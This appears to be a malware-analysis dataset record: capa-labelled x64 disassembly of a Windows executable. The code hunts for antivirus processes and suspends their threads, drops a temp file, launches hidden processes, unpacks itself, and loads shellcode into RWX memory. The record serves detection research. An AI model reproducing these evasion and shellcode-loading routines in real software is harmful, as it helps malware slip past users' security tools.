joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400019a0
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov edi, edx
mov ebp, ecx
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400019d9
lea eax, [rsi + 2]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rsi
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x140001a10
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 2
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x50], rbx
cmp dword [rsp + 0x2c], ebp
jne 0x140001a5a
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x140001a5a
cmp edi, 1
jne 0x140001a43
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x140001a51
cmp edi, 2
jne 0x140001a51
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140001a15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140001a90
Capabilities:
Enumerate processes

Disassembly:
push rsi
sub rsp, 0x460
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001ab7
xor eax, eax
add rsp, 0x460
pop rsi
ret
mov qword [rsp + 0x470], rbx
lea rdx, [rsp + 0x220]
mov qword [rsp + 0x478], rbp
mov rcx, rsi
mov qword [rsp + 0x480], rdi
mov dword [rsp + 0x220], 0x238
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001bc1
lea rbp, str.avgui.exe
nop dword [rax]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x1fe
call fcn.140003080
xor ecx, ecx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rsp + rcx + 0x24c]
mov word [rsp + rcx + 0x20], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140001b20
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_CharLowerW]
lea rcx, [rsp + 0x20]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001b50
test rax, rax
je 0x140001ba9
xor ebx, ebx
mov rdi, rbp
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rdi]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140001b80
test r8, r8
je 0x140001ba9
lea rcx, [rsp + 0x20]
call fcn.1400047a0
test eax, eax
je 0x140001bed
inc ebx
add rdi, 8
cmp ebx, 0x20
jl 0x140001b70
lea rdx, [rsp + 0x220]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001b00
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbp, qword [rsp + 0x478]
mov rbx, qword [rsp + 0x470]
mov rdi, qword [rsp + 0x480]
add rsp, 0x460
pop rsi
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140001bcc
Function at 0x140001cb0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
mov eax, 0x10268
call fcn.140002570
sub rsp, rax
xor eax, eax
lea rdi, [0x1400195a4]
mov ecx, 0x20
xor edx, edx
rep stosd dword [rdi], eax
lea ecx, [rax + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140001f4a
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001f41
mov qword [rsp + 0x10280], rbx
mov qword [rsp + 0x10288], rsi
mov qword [rsp + 0x10290], r14
lea r14, [0x1400195a0]
mov qword [rsp + 0x10260], r15
lea r15, str.cmdagent.exe
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001f0c
lea rax, [rsp + 0x4c]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140001d60
test rcx, rcx
je 0x140001f0c
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x10000
call fcn.140003080
xor ecx, ecx
nop word [rax + rax]
movzx eax, word [rsp + rcx + 0x4c]
mov word [rsp + rcx + 0x260], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140001d90
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_CharLowerW]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140001dc0
test rcx, rcx
je 0x140001f0c
xor ebx, ebx
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [r15 + rax*2], bx
jne 0x140001de0
test rax, rax
je 0x140001f03
mov rcx, r15
nop word [rax + rax]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rcx + r8*2], 0
jne 0x140001e10
mov rdx, rcx
lea rcx, [rsp + 0x260]
call fcn.1400047a0
test eax, eax
jne 0x140001ed6
mov edi, dword [rsp + 0x28]
lea rax, [rsp + 0x260]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140001e50
lea rdx, [0x14000e7a0]
lea rcx, [rsp + 0x260]
call fcn.1400047a0
test eax, eax
je 0x140001ea5
lea rax, [rsp + 0x260]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140001e82
lea rdx, [0x14000e7c0]
lea rcx, [rsp + 0x260]
call fcn.1400047a0
test eax, eax
jne 0x140001ed6
mov ecx, edi
call fcn.140001800
test eax, eax
jne 0x140001eba
lea edx, [rax + 1]
mov ecx, edi
call fcn.1400019a0
xor eax, eax
nop dword [rax]
cmp dword [r14 + rax*4], 0
je 0x140001ed2
inc rax
cmp rax, 0x20
jl 0x140001ec0
jmp 0x140001ed6
mov dword [r14 + rax*4], edi
inc ebx
mov rax, 0xffffffffffffffff
mov ecx, ebx
shl rcx, 6
add rcx, r15
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001ef0
test rax, rax
jne 0x140001e00
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbp
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001d32
mov r15, qword [rsp + 0x10260]
mov r14, qword [rsp + 0x10290]
mov rsi, qword [rsp + 0x10288]
mov rbx, qword [rsp + 0x10280]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x10268
pop rdi
pop rbp
ret
Function at 0x140001f60
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xe0
mov rbx, r8
mov rdi, rdx
mov r8d, dword [0x140018670]
mov rsi, rcx
mov rdx, qword [str.lkko298ug97y28_3409U_SYiy8y12___2.27p__po7ULKSIigT9234]
mov rcx, qword [str.z2qx01ts.tmp]
call fcn.1400024a0
cmp eax, dword [0x140018670]
jne 0x14000202e
xor edx, edx
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x64]
call fcn.140003080
xor eax, eax
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov qword [rsp + 0x60], rax
mov rdx, rdi
lea rax, [rsp + 0x50]
mov rcx, rsi
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000202e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x60]
jmp 0x140002030
xor eax, eax
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x1400020b0
Capabilities:
Enumerate gui resources
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x460
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400020d7
xor eax, eax
add rsp, 0x460
pop rdi
ret
mov qword [rsp + 0x470], rbx
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov qword [rsp + 0x478], rsi
mov dword [rsp + 0x20], 0x238
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400021f5
lea rsi, str.egui.exe
nop dword [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x1fe
call fcn.140003080
xor ecx, ecx
nop word [rax + rax]
movzx eax, word [rsp + rcx + 0x4c]
mov word [rsp + rcx + 0x260], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140002130
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_CharLowerW]
mov rcx, qword [str.egui.exe]
xor ebx, ebx
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140002164
test rax, rax
je 0x1400021e0
nop dword [rax]
nop word [rax + rax]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rcx + r8*2], 0
jne 0x140002190
mov rdx, rcx
lea rcx, [rsp + 0x260]
call fcn.1400047a0
test eax, eax
jne 0x1400021c4
mov edx, dword [rsp + 0x28]
lea rcx, [0x140002050]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
je 0x140002219
inc ebx
mov rax, 0xffffffffffffffff
mov rcx, qword [rsi + rbx*8]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400021d1
test rax, rax
jne 0x140002180
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140002110
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x470]
mov rsi, qword [rsp + 0x478]
add rsp, 0x460
pop rdi
ret
mov rcx, rdi
mov dword [0x140019624], ebx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140002200
Function at 0x140002230
Capabilities:
Enumerate gui resources
Enumerate processes

Disassembly:
push rsi
sub rsp, 0x460
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000226e
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x140002279
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x460
pop rsi
ret
mov qword [rsp + 0x470], rbx
mov qword [rsp + 0x478], rbp
lea rbp, str.egui.exe
mov qword [rsp + 0x480], rdi
nop dword [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x1fe
call fcn.140003080
lea rcx, [rsp + 0x260]
sub rcx, 2
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x1400022c1
lea r8, [rsp + 0x4c]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x1400022e0
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_CharLowerW]
xor ebx, ebx
mov rdi, rbp
nop word [rax + rax]
mov rdx, qword [rdi]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x140002320
test rax, rax
je 0x140002378
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140002340
lea rcx, [rsp + 0x260]
call fcn.1400047a0
test eax, eax
jne 0x14000236d
mov edx, dword [rsp + 0x28]
lea rcx, [0x1400023c0]
call qword [sym.imp.USER32.dll_EnumWindows]
inc ebx
add rdi, 8
cmp ebx, 0x40
jl 0x140002310
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400022a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x480]
mov eax, 1
mov rbp, qword [rsp + 0x478]
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rsi
ret

Function at 0x1400024a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov edi, r8d
mov qword [rsp + 0x30], 0
mov rsi, rdx
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rsp + 0x68], 0
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002516
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x14000542c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005190
Function at 0x140003f90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140003fb5
xor eax, eax
jmp 0x140004048
mov r8d, 0xa
mov edx, 0x64
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140003fdc
xor eax, eax
jmp 0x140004048
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140003ffb
xor eax, eax
jmp 0x140004048
mov rax, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x20]
mov dword [rax], ecx
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140004027
xor eax, eax
jmp 0x140004048
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140004043
xor eax, eax
jmp 0x140004048
mov rax, qword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x1400043a0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x58
mov dword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140004050
mov qword [rsp + 0x48], rax
movsxd rax, dword [rsp + 0x30]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
movsxd rax, dword [rsp + 0x30]
mov r8, rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rsp + 0x30]
mov r8d, 0x8000
mov rdx, rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x58
ret
Function at 0x14001a390
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
test r9, r9
je 0x14001a526
cmp r9, 4
jb 0x14001a3ca
mov r10, r9
shr r10, 2
imul rax, r10, 0xfffffffffffffffc
add r9, rax
mov eax, dword [rdx]
add rdx, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub r10, 1
jne 0x14001a3b1
xor r11d, r11d
test r9, r9
je 0x14001a526
cmp r9, 8
jb 0x14001a4fd
lea r10, [rcx - 1]
lea rax, [r8 - 1]
add r10, r9
add rax, r9
cmp rcx, rax
ja 0x14001a3fc
cmp r10, r8
jae 0x14001a4fd
lea rax, [rdx - 1]
add rax, r9
cmp rcx, rax
ja 0x14001a411
cmp r10, rdx
jae 0x14001a4fd
mov qword [rsp + 0x10], rbx
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x14001a4b7
mov r10, r9
mov qword [rsp + 0x18], rsi
and r10d, 0x3f
mov rbx, r9
sub rbx, r10
mov rdi, rdx
lea rax, [r8 + 0x10]
sub rdi, r8
mov rsi, rcx
sub rsi, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rdi + rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rax - 0x10]
movdqu xmm2, xmmword [rdi + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rsi + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rdi + rax - 0x30]
movdqu xmm1, xmmword [rax - 0x30]
movdqu xmmword [rsi + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rdi + rax - 0x20]
movdqu xmm2, xmmword [rax - 0x20]
movdqu xmmword [rsi + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rsi + rax - 0x20], xmm2
cmp r11, rbx
jb 0x14001a450
mov rsi, qword [rsp + 0x18]
cmp r10, 8
jb 0x14001a4ef
mov r10, r9
and r10, 0xfffffffffffffff8
mov rbx, rdx
lea rax, [r11 + r8]
sub rbx, r8
mov rdi, rcx
sub rdi, r8
nop
movq xmm1, qword [rax + rbx]
add r11, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rdi + rax - 8], xmm1
cmp r11, r10
jb 0x14001a4d0
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r11, r9
jae 0x14001a526
sub rdx, r8
lea r10, [r11 + r8]
sub rcx, r8
sub r9, r11
nop word [rax + rax]
movzx eax, byte [r10 + rdx]
xor al, byte [r10]
mov byte [rcx + r10], al
lea r10, [r10 + 1]
sub r9, 1
jne 0x14001a510
add rsp, 8
ret

Function at 0x14001ff74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ffbe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ffbe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ffbe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ffbe
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ffbe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001ffc0
xor al, al
add rsp, 0x28
ret
Function at 0x14002982c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001ce24
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001ce24
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002997c
cmp rax, 0xffffffffffffffff
je 0x14002997c
xor edi, edi
test rbp, rbp
jle 0x140029927
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f738
mov rbx, rax
test rax, rax
jne 0x1400298b4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002991d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a758
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001db00
cmp eax, 0xffffffff
je 0x1400298fd
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400298c4
mov edx, r15d
mov ecx, r14d
call fcn.14001a758
jmp 0x14002991d
cmp byte [rsi + 0x38], dil
je 0x140029914
cmp dword [rsi + 0x34], 5
jne 0x140029914
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002991d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b4ec
jmp 0x140029990
jns 0x140029990
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001ce24
cmp rax, 0xffffffffffffffff
jne 0x140029948
cmp byte [rsi + 0x30], dil
je 0x140029990
mov edi, dword [rsi + 0x2c]
jmp 0x140029990
mov ecx, r14d
call fcn.140018c10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029990
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029990
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029989
mov eax, dword [rsi + 0x2c]
jmp 0x14002998e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001ce24
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002aa80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002aaa8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002aaa8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1400018f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001942
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001942
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001942
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001942
cmp dword [rcx + 0x84], 0xe
jbe 0x140001942
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001944
xor al, al
add rsp, 0x28
ret
Function at 0x140084f20
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140084f2d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140084f3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140084f25
lea eax, [rcx + 1]
jmp 0x140084f4b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x140084f5e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140084f44
sub eax, 3
jb 0x140084f7e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140084fcd
sar eax, 1
movsxd rbp, eax
jb 0x140084fb4
jmp 0x140084f8c
add ebx, ebx
jne 0x140084f8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140084fb4
inc ecx
add ebx, ebx
jne 0x140084f9a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140084fb4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140084fad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140084f9c
add ecx, 2
jmp 0x140084fb9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140084ee2
jmp 0x140084f2d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x5e000
mov dl, 0x14
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140085019
cmp rsi, rcx
jae 0x140085021
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140085000
cmp al, 0x8f
ja 0x140085000
cmp byte [rsi - 2], 0xf
je 0x140085006
sub al, 0xe8
cmp al, 1
ja 0x140084fea
cmp rsi, rcx
jae 0x140085021
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140084ff0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140085021
lodsb al, byte [rsi]
jmp 0x140085000
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x82000]
mov eax, dword [rdi]
or eax, eax
je 0x14008507e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x85548]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14008502e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140085078
mov qword [rbx], rax
add rbx, 8
jmp 0x14008504e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400850b8
cmp al, 0xef
ja 0x1400850aa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14008508a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140085099
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14008510c
sub rsp, 0xffffffffffffff80
jmp 0x140012004